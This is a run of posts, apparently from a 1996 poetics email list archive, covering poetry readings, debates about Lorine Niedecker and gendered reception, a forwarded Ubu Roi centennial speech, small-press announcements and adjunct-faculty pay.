Reading list includes Charles Bernstein, Peter Gizzi, Carla
Harryman, Hank Lazer, Bill Luoma, Douglas Messerli, Jennifer Moxley, A.L. Nielsen, Bob Perelman, Juliana Spahr, Barrett Watten, Elizabeth Willis

Saturday, December 28

5:15-6:30 p.m. Joan Retallack and Carolyn Forche will read from their poetry at the MLA conference. THIS READING IS OPEN AND FREE TO NON-CONFERENCE PARTICIPANTS. Location: Room Delware A at the Sheraton Hotel, corner of Connecticut and Calvert Streets NW.

8:30 p.m.
Ruthless Grip Art Project
U Street NW near the corner of 15th, under the Big Black Sign!

A Gathering of D.C. Poets Reading list includes Tina Darragh, P. Inman, Tom Mandel, Beth Joselow, Rod Smith, Joe Ross, Buck Downs, Heather Fuller, Mary Hilton, Phyllis Rosenzweig, Doug Lang, Dean Taciuch, Graham Foust, Mark Wallace

Sunday, December 29

3:00 p.m.
DC Arts Center
2438 18th St. NW (near Columbia and 18th in the heart of Adams Morgan)

PRIMARY TROUBLE anthology reading Hosted by Ed Foster, editor of TALISMAN, this group reading will include a number of writers appearing in the recent PRIMARY TROUBLE anthology edited by Ed and Leonard Schwarz.

Lastly, for anyone still in D.C. on New Year's Day, there will be a poetry reading and party (details to be announced).

Mark Wallace

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502. **Schuchat Simon**
Re: Domestic
Wed 18 Dec 1996

Someone raised the question as to whether there was a male counterpart to Midwinter Day, and specifically whether Lewis Warsh had kept a parallel journal during that pregnancy. My recollection is that Bernadette and Lewis did in fact write a journal prose work about their "domestic" life in the country not long after leaving NYC, with parallel tracking and alternating chapters. I cannot recall whether the time span covered was a month or a year, and my memory is that the work was written with a view towards reaching a wide audience, but in any case, it was written in 1977 or so and was never published (to my knowledge).

Meanwhile, P. Whalen's SCENES OF LIFE AT THE CAPITAL is a great domestic epic.

↑ Index

503. **Aldon L. Nielsen**
Re: belated stats
Wed 18 Dec 1996

In partial response to Joe's question of days ago --

approx. 80% of "us" teach at non-PhD-granting institutions -- because some of these are MA-granting (like San Jose State) and have a very small number of TA's teaching comp., it works out to something like 60% of English professors working at schools that DO NOT HAVE ANY grad. students teaching lower-division (or whatever it's called where you live) classes --

Anyway you cut it, the majority of people teaching English do not fit the model raised in that article. STILL, I suspect that the majority of teaching of comp. is still done by people who do not have full-time status -- anybody know for sure --?

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504. George Bowering
Re: Shakespeare
Wed 18 Dec 1996

> *An aside: (laugh as you will) I now think Shakespeare was written by somebody else - maybe a group. What kind of model does this provide if true? If Shakey was a stage manager - a front for Anonymous.*
>
> *Now where was I reading recently--Mark Twain I think--the proposal that the works of Shakespeare were written by somebody else--with the same name.*

No, no. I think that Shakespeare's works were written by someone with a DIFFERENT name, but that person wrote under the name Shakespeare.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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505. Mark W Scroggins
Upper Limit Music: The Writing of Louis Zukofsky
Wed 18 Dec 1996

Here's one for those who will be attending MLA: please visit the University of Alabama Press display (booth 1209) to check out bound proofs or something similar of my edited collection, _Upper Limit Music: The Writing of Louis Zukofsky_, which contains essays by poetics list members Peter Quartermain and Steve Shoemaker, among a plethora of other interesting stuff. The book itself as far as I know is not _yet_ available, but if you order at the conference you can get a hefty discount off of the list price.

Backchannel for more info--I'm off the list for the moment.

Mark Scroggins

↑ Index

506. Stephen Cope
Re: Oppen's Daybook
Wed 18 Dec 1996

Burt-

Thanks for the info. I'm familiar with both, and have gotten some sources from others: Sulfur 25-27, and the Iowa Review (18/3), where sections of the Daybook have been published. Incidentally, Michael Davidson has a piece in his forthcoming book that deals explicitly with Oppen's archive here, so that should be helpful also...

Hope you're well,

Stephen

↑ Index

507. Thomas Bell
Re: patr-iarchy/onization
Wed 18 Dec 1996

An interesting comment on cultural issues forwarded (w/ permission) from another list.
tom bell

From: [redacted]
To: [redacted]
Subject: Re: cultural positioning (fwd)

Last week I was invited to a restaurant dinner for a Famous Author. As it turned out, he was delayed, and the person who'd invited me was delayed because of his delay, so I met a group of strangers - except for one of them, a grad student in my department - in the restaurant. One of the strangers, a book rep for a Big NY Publisher, introduced himself and his group. I introduced myself, said I'm in the English dept., then introduced my student, saying she's in the dept., too. Attention then focused on her: What's it like teaching here? Had she read X's new book, or Y's? Effusion over her during most of the meal; every time I opened my mouth, the NY people looked at me for a moment, smiling wanly, then returned to ask my student what she thinks of ABCD, and whether she'd be interested in seeing EFGH in an anthology. During dessert, my student asked about my forthcoming book. As we discussed it, the NY publishing people were silent. Then one asked, "Are you on the campus?" They'd clearly assumed, from the time I introduced us, that my student (who is white) was a university professor, and that I (whom am not) was not.

Last night, after going into the city to hear Doty & Graham read, I got to the Metro North train early and took a seat. Two informally but nicely dressed men got on with two boys, about 10 or 11 years old. Standing directly behind my seat, one of the boys announced that he didn't want to ride in a train with niggers. They argued about it for a few minutes, and left. As they did so, one of the men looked back at me and sneered.

This is why we have poetry.

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508. **steph4848**

Re: Domestic/Meyer/Warsh

Wed 18 Dec 1996

Simon Shuchat wrote: Someone raised the question as to whether there was a male counterpart to Midwinter Day, and specifically whether Lewis Warsh had kept a parallel journal during that pregnancy. My recollection is that Bernadette and Lewis did in fact write a journal prose work about their "domestic" life in the country not long after leaving NYC, with parallel tracking and alternating chapters. I cannot recall whether the time span covered was a month or a year, and my memory is that the work was written with a view towards reaching a wide audience, but in any case, it was written in 1977 or so and was never published (to my knowledge).

Meanwhile, P. Whalen's SCENES OF LIFE AT THE CAPITAL is a great domestic epic.

Wouldn't it have changed the whole picture of the way in which Bernandette Meyer's book, Midsummer Day, was received if it had originally been paired with Lewis Warsh's parallel experience. It does raise questions? Why didn't a publisher see the value of both? Was there an assumption that there would not be an interest in the father's experience? (In 1977 I think that would be true - having become a father at that time as well.) Whatever might have been the value system of the publisher (re-affirming the mother-child-home convention), the alternative of pairing the poetry of both expectant father and mother might have led to a radical change in the conventional perception of "domestic" woman centered consciousness. I'm obviously being speculative here. However, I wd hope that Lewis' work might some day emerge so as to compare. (Of course there's the possibility that he didn't feel that confident about the work and dismissed it).

Stephen Vincent

↑ Index

509. **r. drake**
Re: St Marks Book Shop
Thu 19 Dec 1996

> *Larry Fagin has been saying for some time that he was going to do something about the bookstore situation in New York City, and lo, he has. At his instigation, St Marks Book Shop ordered hundreds of poetry titles from SPD, all of which arrived on the shelves yesterday...*

jordan--

could you post larry's address?

↑ Index

510. **Carnography**
Upper Limit Music: The Writing of Louis Zukofsky
Thu 19 Dec 1996

> *Please visit the*
> *University of Alabama Press display (booth 1209) to check out bound proofs or something similar of my edited collection, _Upper Limit Music: The Writing of Louis Zukofsky_, which contains essays by poetics list members Peter Quartermain and Steve Shoemaker, among a plethora of other interesting stuff.*

Mark Scroggins:

Some of us won't be attending MLA. Do you feel like citing or excerpting an essay or two on the poetics list? Some of us would appreciate it--especially the sum of us who care about music and prosody.

For me, not a week goes by without some small consultation of Zukovsky and Virginia Woolf. What _To the Lighthouse_ is to Bloomsbury prose, _A_ is to the open field: paradigm and playground. When we write of music on UB Poetics, I always feel we write to rival _A_.

We've got enough modernist fascists on our bookshelves to besiege the Capital of Grabenstadt. How fortunate for history's heart, when a decent man like Z. lives on as a brilliant poet.

(Just did the last line-inputs on the galleys of _Distorture_. I'm off to the post office and the Zip Disk is off to the printers.)

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

511. Pete Landers
Re: patr-iarchy/onization
Thu 19 Dec 1996

Burt,

My first objection was to the word "poetess"; the "p" word, as I called it. It is used by Basil Bunting on the sleeve of an (older) copy of The Granite Pail, and by Jonathan Williams on the sleeve of T&G.

Your response was essentially:

> *she [Lorine Neidecker]*
> *has given us a singular and important view of a woman in a marriage in*
> *a particular time and place and socio-economic status.*

I disagree. The view she continually gives is of the natural world and sometimes, of American history. She is only slightly concerned with her socio-economic status, although I searched and found some references to some jobs she had worked. True, there aren't many midwestern hospital floor-washing women of the 40s through 60s appearing in the pages of cutting edge literary magazines, but there aren't many postmen who become rectors of non-credited colleges either. There aren't many insurance agents or country doctors either. One might note that WCW prescription pads affected the line length in some poems, that CO's knowledge of the citizens on his mail route helped him considerably in transforming a fishing village into an ancient greek seaport, so it stands to reason that LN's occupation affected her poetry. Perhaps it was so boring that she turned shaping words into poems to occupy her active mind, but that isn't "singular and important". And I find almost no reference to her marriage in her work. Above all, LN's contribution to poetry is so much more than an example of the poetry of a person of a particular gender, marital status, or economic class. I do agree that her time and place are essential to her poetry.

I asked if you (or anyone for that matter) seeks domesticity in male poets. It was a rhetorical question. The obvious answer is "no". you replied:

>...if it were a male within a domestic situation in
> certain ways the p of v would be quite different
and...
> my "domestic" had more to do with living a tough economic life
> and with being married to a man in a rural setting.

The point of view of anyone would be different. A poet like Neidecker only comes along a few times a century. Almost nobody's point of view is comparable to a master artist! But suppose all we did was make one X chromosome into a Y in her, how would her poetry differ? Is there something "female" in her work? Is

there something else that would replace this if she were a he? What? Typically, women are accused of emphasizing emotions over reason, of being "sentimental". Of course, there are many more published male poets whose work is so maudlin it makes us cry to think that it was published.

Again, I agree about the rural setting, but I find almost nothing about her husband in her poetry.

> *i'd be happy*
> *to "back up my assertions" with some examples (though there are enough*
> *of them that I'd think my point is pretty obvious*

Her husband appears in one poem, her daughters in one poem, her gran- father in one poem Her mother in one poem. Her house appears in several poems.

Above all, the topics of her poetry are not her contribution to the almighty canon, it's the way she writes, her sounds and her juxta- positions that are "singular and important". It is this genius in her poetry that makes me get up on this soapbox everytime I hear people talking about her gender. You want domestic? Look at LZ in the late 40s and early 50s. The birth of his son and the death of his father and his general dissatisfaction with the world made him deliberately shift his focus. There is a case where time, place, and heritage are combined influences, but his gender doesn't play a role. I bet you could grab poems of LZ and LN of that time and give them to people who are unfamiliar with the work and, because of prejudices, the majority will incorrectly identify LZ as female and LN as male.

I'm not saying the conditions of any poet's existence don't affect their work, but remember, this is all because somebody said "poetess".

Women have been shafted by the patriarchy long enough, don't you think? I have no idea why so many men believed women couldn't or shouldn't write. I live in these times and an idea like that just doesn't make sense to me. However, I still hear its repercussions in the word "poetess". I see mostly men in the anthologies (with the exception of the Norton pomo thing). This thread started when someone wondered why Jonathan Williams had to reach back to Dickinson, Lady Ono Komachi, and Sappho to make comparisons, why the gender was important. I don't know that answer. It baffles me. It seems reasonable that, if opportunity is provided to everyone regardless of gender, we double our chances of getting some awesome reading material; if also regardless of race, we quadruple our chances.

Perhaps the error is in seeking a reason for prejudice. It isn't a rational thing. The only result is that it reduces the size of the competition. One possible cause is the christian religion with its injuction against women speaking in church. Or it could be a remnant from the Greek attitudes about women.

Whatever the cause, it is obviously unfounded, but it leads to sad thoughts like "How many geniuses died unknown? How much did this superstition lose us?" Clearly, we can't know the answers to these things. All we can do is put an end to it! When someone says "poetess" we must react. When someone makes an anthology that excludes most women we must condemn it. Silence is complicit.

Pete Landers

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512. Pierre Joris

More Ubu

Thu 19 Dec 1996

James, Kevin &co. -- thanks for responding re UBU in SF; meanwhile this came through via John Whiting & I thought it may be of interest to the list -- which I think cld use some ubuesque lightning & thunder -- happy days to all, whatever you do or don't -- Pierre

> *----- Begin Included Message -----*
>
> *Date: Sun, 15 Dec 1996 09:51:11 -0800*
> *From: [redacted] (Dirk H van Nouhuys)*
> *Subject: Ubu in San Francisco*
>
> *Remarks on the Centennial of the First Public Performance of UBU ROI.*
>
> *in Justin Herman Plaza, Embarcadero, San Francisco*
> *Sunday, 8 December 1996*
>
> *I am pleased to see before me a plaza rife with Palcontents. It is an inspiration to Pataphysicians, Pataphysicists, Alfred Jarry-heads and Ubuists everywhere.*
>
> *Ubu was once described (by translator and critic Cyril Connolly) as the Santa Claus of the atomic age. I daresay, there are naughty Santas in abundance operating out of some obscure Ubic impulse which we hope to elucidate on this occasion.*
>
> *Today we honor free speech. Before I continue, I hope you'll all give generously to the Phynance bucket on the ground here which will benefit the coffers of one of our holiday season's patron saints, Santa Escape Claus. As a memento, we offer a premium poster celebrating this august occasion which you may hang on your lavatory wall in warm recollection of this day.*
>
> *With your support, and with the help of Ubu-Mayor Willie Braun, the producers and participants in this program can all look forward to wintering in Poland or Petaluma, or some other such place that is simultaneously both here & nowhere, a kind of Inner*

Mongolia of the soul.

Back to free speech. In Berkeley today they honor the life and works of Mario Savio who for many embodied the Free Speech Movement. We here in San Francisco are reaching a little further back in time and space to remember the contribution of one eccentric Frenchman, Alfred Jarry, who gave us the freedom to yell SHIT in a crowded theater. For Tuesday the 10th marks the centennial of the first public performance of his incendiary and inseminating play UBU ROI, which in the course of two performances convulsed old gay Paree.

One of the speakers to follow will no doubt have more to say on the Ubu-type as manifested the world over in terms of its leaders, and the good old quotidian middle class arrogance and grotesque, de-brained consumer appetite that makes Ubus--in their obscene belligerence--possible, and tenacious as they are.

In this regard, I would suggest that is better ask not what Ubu can do for you. Ask rather what you can do as Ubu. With shitesword at the ready & Hi-Phynance, the answer is _anything_, anything at all that you can get away with!

It is amusing to recall that the Ubu character was developed collaboratively out of the schoolboy myth surrounding a certain teacher of physics and mathematics at the Lycee of Rennes in France:

"UBU ROI" AND THE SCHOOLMASTERS by HENRI HERTZ (EXTRACT)

-M. Hebert was celebrated due to the violence with which he was barracked and the pompous manner with which he strove to overcome his torture. He was never a victim to allow himself to be overcome at once, be reduced to trembling abasement, without defending himself with outbursts of rage. At least, hardly ever. What we loved in him, what made him unique, and inspired a thousand ingenious inventions aimed at stirring up his torment, was that we could look forward to beautiful tears, noble sobs, ceremonious supplications. Ah, we were devious!

M. Hebert's torture had three phases, accompanied, on his part by three physiognomies:

Entrance: The class took place, at this period, in a room in the old school. Teacher and pupils were on the same level. One gained access to it through long, dark corridors. It felt like a prison or a monastery. Wary, Hebert stood at the threshold. His legs were so short and his stomach so large that he appeared to be sitting on his arse. Just catching sight of him was enough to provoke hilarity. He tried to exorcise this demon by directing angelic looks from tiny eyes lost in a mass of pallid flab at the mob which, in a few moments, will be in uproar.

> *The second phase began when M. Hebert, his back to the class, resembled a great insect heaving itself up the blackboard upon which it deposits trails of chalk. Shot riddles the shabby elytra of his old jacket. M. Hebert turns round again. Not immediately, because he is deaf, although we were never certain if his deafness was due to a defect of hearing or of courage. The fact was that he left it to the last possible moment before he took on the miscreants, and when he decided to do so, it was plain to see he did it reluctantly.*
>
> *He turned round all at once. The third phase began, in which he exhibited his truly royal character, in contradiction of his uncertain eyes, and the despairing grin beneath his great moustache, once red, now tobacco stained.*
> *First of all, he took a small silver case from his jacket pocket, then he collected himself with a great effort of will, and commenced his harangue: beautifully phrased, carefully formulated, full of solemnity and, of malapropisms. He had a talent for these. His words neither conformed to his features, nor to the circumstances of his predicament. He threatened the innocent, avoided the guilty. This injustice was so obvious and clumsy that the class felt insulted, became lovers of justice themselves.*
>
> *It was during these feats of oratory enunciated through glittering tears, that Jarry appeared. He entered the game at the end, like a matador entering the arena for the coup de grace. Complete silence reigned. Coldly, cutting, he posed insidious and bizarre questions to Pere Heb, who faltered in mid sentence, his pious manner shattered. Jarry encircled him, stunned him with aphorisms. He overwhelmed him, Pere Heb became disconcerted, batted his eyelids, stammered, pretended deafness, lost ground. Finally he gave way, collapsed on the table amidst the retorts and apparatus, put on his spectacles, and with clumsy trembling hands, scribbled a note to the headmaster.*
> *The class regarded the victor Jarry with wonder.*
> *With fear and a sense of recoil also, because one felt distinctly that his sarcasm went beyond the general unruliness, that something from within him, a powerful impulse was behind the ferocity of his attack. Already, without a doubt, Pere Ubu was coming into being, a vindictive memory of the one he was tormenting . . .*

Jarry had become the high priest of this cult, and it was to be his task to write its holy book! The meaning of the Ubu myth to its authors, and to its subsequent readers, is necessarily protean. To the pupils of Rennes it presumably concerned the evident stupidity of the adult world they were about to enter, as exemplified by one of its more idotic and base representa tives. Numerous stage productions since have testifed to its other possibilities.

Jarry, it seems, valued the Homeric nature of the Ubu cycle: when

the play was eventually published he adopted a form of literary archeology, leaving in many perplexing references to works which pre-dated it. These traces can only have been allowed to remain in order to indicate the presence of the pre-Ubu tradition.

[from: Pertaining to Ubic Gestation, by (ANONYMOUS), Felix-Frederic Hebert, Henri Hertz, "L.B.K.", Charles Morin, Henri Morin & Philipot. Assembled and Presented by Alastair Brotchie. Documents Pertaining to Ubic Gestation, The Printed Head, vol.1, Atlas Press, 1991.]

Before I yield the stage to the next speaker, let me make a few needed thank yous to those who made our presence here today possible.

Thank you of course to my parents, and my parents parents, and so on up the line.

Thank you also to Ubu-Mayor Willie Braun and Ubu-Police Chief Bruce Lau for looking the other way. Thanks to Charlotte Mallard Swine of the Pataphysical Dept of Public Art for her patronage.

To Paris, yes, we'll always have Paris...San Francisco's mistress city, our thanks for providing an environment in which the young Alfred Jarry could function, albeit against great adversity, both economic & against his own self-destructive impulses.

To the J.C. Decaux company of Paris, purveyors of fine street furniture, advertisting kiosks, and public toilets, which in a burst of corporate largesse, recently announced plans to benefit the San Francisco Public Library.

The Library's woes are by now well known. It is commendable to see responsible corporate action to help offset its budgetary shortful and pursant inability to buy more books.

Decaux's plan to bind, barcode, and catalog archival ordure and thus create a Community Excreta collection is certainly visionary, and will live on in the anals, her, annals of bibliographic innovation. Let's hear it for Corporate Ubu-ism!

Let us also recognize the Ubuversity of California, which is building an Ubu Cyclotron in the hills of Berkeley, and will soon be opening an Institute of Pataphysical Research as part of the UCSF expansion into the Mission District.

We salute their far-sightedness in recognizing this little known branch of science--Pataphysics--which is concerned with solutions to imaginary problems.

We trust that their findings will be of incalculable benefit to the people of SF and of California.

D.S.Black ([redacted]),

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Reality is escape. The rusty junk
of fervent highways soothe the mind
into self-consoling slumber. The real
real is intimate, hard to find,
locked & released at once in thought,
beyond the touch of poignant imagery.

Robert Kelly ⊕ Ode 16
==========

↑ Index

513. Burt Kimmelman
Niedecker's domesticity
Thu 19 Dec 1996

Okay Pete,

Here's the first page my finger finds in Granite Pail (p.20):

I knew a clean man
but he was not for me.
Now I sew green aprons
over covered seats. He

wades the muddy water fishing,
falls in, dries his last pay-check
in the sun, smooths it out
in *Leaves of Grass*. He's
the one for me.

Burt

↑ Index

514. **Burt Kimmelman**

Domesticity Niedecker style

Thu 19 Dec 1996

From: ADMIN::KIMMELMAN "Burt Kimmelman -@NJIT" 19-DEC-1996 10:39:02.13
To: MX%"[redacted]"
CC: KIMMELMAN
Subj: Re: patr-iarchy/onization

Pete,

I do not mean to delimit LN to domesticity--but you can't deny the domesticity either, a female, wifely version of it at that, though not at all cliched. I've already keystroked one "domestic" poem for you in another post a few minutes ago (Granite Pail p. 20); that one I found by chance. Now I find, with deliberation, the following.

I married

in the world's black night
for warmth
        if not repose.
        At the close -
someone.

I hid with him
from the long range guns.
        We lay leg
        in the cupboard, head
in closet.

A slit of light
at no bird dawn -
        Untaught
        I thought
he drank

too much.
I say
        I married
        and lived unburied.
I thought -

(Granite Pail p. 93. Cf. also: 101, 104 etc. etc.).

So?

Burt

↑ Index

515. Thomas M. Orange
north point
Thu 19 Dec 1996

---

so what happened to north point and when? it's a real shame, they made some damn fine books; i especially like edward snow's translations of rilke's neue gedichte and the celan last poems.

t.

```
 ____________________________________________
|       Rien n'aura eu lieu que le lieu        |
| Nothing will have taken place but the place  |
|                - Mallarme -                  |
~~~
```

The saintly six.
The redoubtable three.
The peaceful four.
The sports-car driving five.
The lunatic nine.
The recumbent governor eight.
The wheelchair one.
The pessimistic seven.
The metal two.
The hit-and-run ten.
They join us at the clouded structure
Where angels find their conjunctions and well-wishers
Wave one last long goodbye.
The unnumbered question is our sleep in which these structures hide.
Floating above the footnotes in oblivious fruited fields
Where her touch is like a helping hand
That reaches down to lift you up to where it is--
There is no telling what you might find in it

®Leon, 1974 (Big Sky Number Seven)

Just thought I would mention it--

Jordan Davis

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517. Jordan Davis
Last Poetry City
Thu 19 Dec 1996

Anselm Berrigan and Max Winter will read their poetry tonight. The Village Voice refers to them as "up-and-comers". See for yourself at Poetry City, in the lovely offices of Teachers & Writers Collaborative, 5 Union Sq W 7th Fl, NYC at 7 p.m. Free. Go out afterwards with the poets and harangue them. Thanks, J Davis

↑ Index

518. Charles Alexander
Re: north point
Thu 19 Dec 1996

They got into big debt and ran out of money. Great literature doesn't sell so well.

charles alexander

At 10:54 AM 12/19/96 -0500, you wrote:
>so what happened to north point and when? it's a real shame, they made
>some damn fine books; i especially like edward snow's translations of
>rilke's neue gedichte and the celan last poems.
>
>t.
> _____
>| Rien n'aura eu lieu que le lieu |
>| Nothing will have taken place but the place |
>| - Mallarme - |
>~~~

fashionable (and Sensitive Males have access to a mainstream publishing apparatus which their female counterparts still largely lack)...

anyway, i was raised by a single father after the age of 13 (with one sibling) from the late 60s through the 70s... and i understand how difficult it can be to find a space to talk about such experiences... but wrt publishing, i'd have to suggest that we'll have to pose more searching questions about whose stories get told, and why...

best,

joe

↑ Index

520. **amato**
Re: belated stats
Thu 19 Dec 1996

---

thanx aldon... so 60% of english profs. don't have any ta's...

i think nafg (national adjunct faculty guild) reports something like 40% of ALL courses (all disciplines, all schools) are taught by *part-time adjunct* faculty...

so the problem, again, seems to have less to do with ta's and more to do with issues surrounding adjunct faculty...

joe

↑ Index

521. **Patrick Foley**
Mike on meaning
Thu 19 Dec 1996

> *I think this is where I'd argue with you, Pat. We, too, live in a time where everything carries meaning, where everything is a sign requiring interpretation, but what they have to tell us is so sinister that we compose lives in resistance to reading them. We prefer the narrative that supplies us with the quick social fix. Whereas a sensitivity and alertness to what Wystam calls our violent tastes could, at the very least, cut us loose into some pretty scary territory.*

Almost a week since your notes re: Crash, etc. Time, er, flies. I like what you have to say here, Mike, and I'm not quite sure where I want to disagree. --- Aside on my hesitance about all this: have decided it was not coincidental that the difference I gestured at concerned the Middle Ages, and with Pound in mind have gone back to reading some Chaucer, not since a dozen years ago. Found a description of the gothic aesthetic in the intro to my paperback that seems

almost to fit EP's practice in say the Cantos, and trying now to hammer all this out as an alternative to the Romantic lyric consciousness (the sort of thing at least Creeley mentions in the Whitman story, the New Critical ideal of epiphany poem, etc.). --- Now maybe you have something here in the way you put it, that it has to do with a refusal of knowledge. Looking out my window this morning I was thinking how a modern poet might carefully describe the sky's grey qualities, the bareness of the trees, et et et cetera, all the while scrupulously avoiding the word "winter", and might feel that this avoidance was the essence of the art. So here's where I'm in a way arguing against the position I held in the late running battle over "taste", because I begin to wonder now about this purer perception the virtues of which I was more or less extolling, resistance to the narrative impulse and all that. Chomsky somewhere says his work in linguistics and politics has run along twin tracks: "Plato's problem", how we know so much given so little evidence; and "Orwell's problem", how we know so little given so much evidence. The latter maybe what we're talking about here. Now you distinguish here in a rough way between the narratives that come readily to hand (the "quick social fix") and the ones that might require a special sort of alertness and sensitivity. Can't help but feel the problem I'm having has to do in part with the loss of a common frame of reference, the sort of presumption Chaucer & Shakespeare can make upon their audience's knowledge, or if you prefer "knowledge", point of view? whatever. "Whan that April with his shoures soote/ [...] Than longen folk to goon on pilgrimages" --- what is that "then"? Most natural thing in the world, and I'd assume not an idea unique to Chaucer's unique sensibility. A commonplace? Knowledge?

So there're some notes, along lines similar to the ones you were responding to -- something to do with a refusal of meaning, a refusal of knowledge, a refusal of narrative, all of which I'm more & more thinking of as the heritage of the Enlightenment and Romanticism, if you follow the way I've drifted. Maybe the key word in all this was "natural" just there, talking about Chaucer's "then" -- and I probably should have said "ordinary", "everyday", so's I could gesture toward Wittgenstein, whose project consisted largely in a recovery of the ordinary knowledge post-Enlightenment philosophers had pretended to have forgotten. And maybe that's what I need to get at in our difference from pre-Renaissance days, the ordinariness of their knowledge of signs and symbols, the wide currency of it, etc. And maybe that's the difference between what you're saying about Cronenberg (& Ballard) and what I'm saying -- I'm not sure I could tell the difference between seeing them as exceptions in a culture of a denial and seeing them as unique sensibilities along more Romantic lines, men who see what others don't, all that, visionaries. Maybe there's no alternatives anymore, that I don't know. But I'm trying to think about the reverse here,

about not uniquely failing to see what everyone else does. (Not sure I'm ready to conclude I live in far & away the stupidest time in history, tempting though that view is.) Not failing to see, for instance, what so many poets whose works fill imoprtant journals each month fail to see, that what they're writing about is perfectly ordinary.

My usual incoherence, just trying to keep the virtual ball rolling, Pat

↑ Index

522. **dbkk**

SPT's winter newsletter is out!!!!

Thu 19 Dec 1996

Yes, _Traffic_ is in the mail today folks, featuring the following reviews:

HARD PRESS
Jim Brodey, Heart of the Breath by Edmund Berrigan
Bernadette Mayer, The Desires Of Mothers To Please Others In Letters by Maria Damon
Lynn Crawford, Solow by Thomas Bell
Coolidge, Gizzi, Yau, Barrette, and Coolidge, Lowell Connector: Lines and Shots from Kerouac's Town by Kit Robinson

KELSEY ST. PRESS
Arcade, Erica Hunt by by Renee Gladman
The Woman Without Experiences, Patricia Dienstfrey by Pauline Facciano
Stripped Tales, Barbara Guest by by Laura Moriarty
The Rosy Medallions: Selected Work, Camille Roy by Juliana Spahr
Distance Without Distance, Barbara Einzig by Joel Felix
Sphericity, Mei-mei Berssenbrugge; Under Flag, Myung Mi Kim; Dreams in Harrison Railroad Park, Nellie Wong by Fred Wah
Small Salvations, Patricia Dienstfrey by Pauline Facciano
Poem From a Single Pallet, Fanny Howe; The Quietist, Fanny Howe (O Books) by David Clippinger

O BOOKS
Mob, Abigail Child by Jocelyn Saidenberg
Phantom Anthems, Robert Grenier; What I
Believe--Transpiration/Transpiring--Minnesota, Robert Grenier by Joshua Schuster
The Inveterate Life, Jessica Grim by Catriona Strang
A Memory Play, Carla Harryman by Jena Osman
Close to Me and Closer ... (The Language of Heaven) and Desamere, Alice Notle by Laura Moriarty
Catenary Odes, Ted Pearson by Fred Muratori

Any NON-LOCALS who would like a 3-issue subscription to the newsletter, send $10, payable to Small Press Traffic, to:

Small Press Traffic
at New College
766 Valencia St.
San Francisco, CA 94110

In the Bay Area, the newsletter is available to Small Press Traffic members. Yearly membership dues are $25 for students, and $35 (minimum--more is great) for "adults." And big hugs and kisses to those out-of-state folks who paid full memberships to Small Press Traffic: Bob Holman, Ron Silliman, Joel Kuszai, Anthony Schlagel, and Jennifer Moxley.

Thanks to all the reviewers for the excellent job they did. It's a fabulous issue. We will be soliciting new reviews early in 97. At that time we will also begin working on placing the newsletter at the Electronic Poetry Center.

Holiday whatevers.

Dodie Bellamy,
Director, SPT

↑ Index

523. **Jerry Rothenberg**
Re: north point
Thu 19 Dec 1996

I'm surprised Charles A. didn't mention that following the demise of North Point, Jack Shoemaker moved his operation to D.C., where he now operates as Counterpoint. Under that imprint he's recently published, e.g., Gary Snyder's Mountains & Rivers Without End.

Or am I somehow wrong on that, Charles?

Jerry Rothenberg

↑ Index

524. **dbkk**
SPT's winter newsletter p.s.
Thu 19 Dec 1996

I left out two reviews in my last message:

Norma Cole on William Fuller's _The Sugar Borders_ (O Books)

and Camille Roy on Barbara Guest's _Musicality_ (Kelsey St.)

Ooops!

Dodie

↑ Index

525. Jordan Davis
Re: St Marks Penance Handbook
Thu 19 Dec 1996

I said something about finding _The World of Leon_ on a NY bookstore shelf being 'unimaginable until yesterday'. Obviously this is nonsense on the order of 'It literally took 10,000 years to make this baseball card' or 'Hopefully we'll have the problems of anxiety and guilt worked out by tomorrow.' I will go sit in the corner now. J Davis

↑ Index

526. Charles Watts
Robin Blaser & Roy Kiyooka on new cd and mag!
Thu 19 Dec 1996

A quick note to announce the publication of COLLAPSE No. 2, _The Verbal & the Visual_, which contains sections on Emily Carr and Robert Smithson, Roy Miki on Roy Kiyooka with Patsy Longmire's photos of Roy K, Charles Bernstein and Charles Watts on Robin Blaser, Christos Dikeakos' "Double Portrait of Robin Blaser," an interview with Robin Blaser and others on the art of the San Francisco Bay Area, 1945-1965, AND a CD featuring Robin Blaser reading at The Recovery of the Public World Conference & Poetry Festival, June 4, 1996, and Roy Kiyooka reading from "Mother Talk" at the Vancouver Art Gallery, 1991.

Price for one issue is $22.50. Two issues: $40.00.
Editors: Judith Mastai, Hanif Jan Mohamed, John O'Brian
Address:
1276 26th Avenue West, Vancouver, B.C. Canada V6H 2A9
Fax: [redacted]; e-mail: [redacted]

PLEASE DO NOT REPLY TO THE BUFFALO POETICS LIST OR TO ME FOR SINGLE COPY OR SUBSCRIPTION ORDERS. ORDER ONLY AT THE ABOVE ADDRESS.

Lastly, I'm away to California for 2-3 weeks and will be off the list for a bit. The bests of the season to you all!

Charles Watts

↑ Index

527. **Charlotte Pressler**
Re: belated stats
Thu 19 Dec 1996

On Wed, 18 Dec 1996, Aldon L. Nielsen wrote:

> *In partial response to Joe's question of days ago --*
>
> *approx. 80% of "us" teach at non-PhD-granting institutions -- because some of these are MA-granting (like San Jose State) and have a very small number of TA's teaching comp., it works out to something like 60% of English professors working at schools that DO NOT HAVE ANY grad. students teaching lower-division (or whatever it's called where you live) classes --*
>
> *Anyway you cut it, the majority of people teaching English do not fit the model raised in that article. STILL, I suspect that the majority of teaching of comp. is still done by people who do not have full-time status -- anybody know for sure --?*

That was how it was at Cleveland State University. I took an M.A. in philosophy and taught English comp. there before coming to Buffalo as a Ph.D. student. Cleveland State offers only the M.A. in English. GA-ships are few, and graduate students do not teach classes there, but composition classes are taught for the most part by lecturers, who are local residents, often with M.A.'s from Cleveland State. They teach on a quarter-by-quarter basis; usually they teach one course only, which earns them $1600 - $1700 per quarter. They supplement their income by teaching at local community colleges, which offer much lower rates, generally $600 -700 per class per quarter. With luck they are able to average around $15,000 a year for this work. They receive no health benefits and are not eligible for unemployment. I knew several who have been teaching for 15 or more years on this basis. They are almost never able to get full-time positions at these colleges.

My sister, Carol Pressler-Lavrisha, is a metal sculptor with an M.F.A. who has been teaching art appreciation and art history classes in local colleges for nine years now. Most of those years have been spent at one community college. Not only has she never been offered a full time position, but when one became available at that college, the part-time faculty were not told about it.

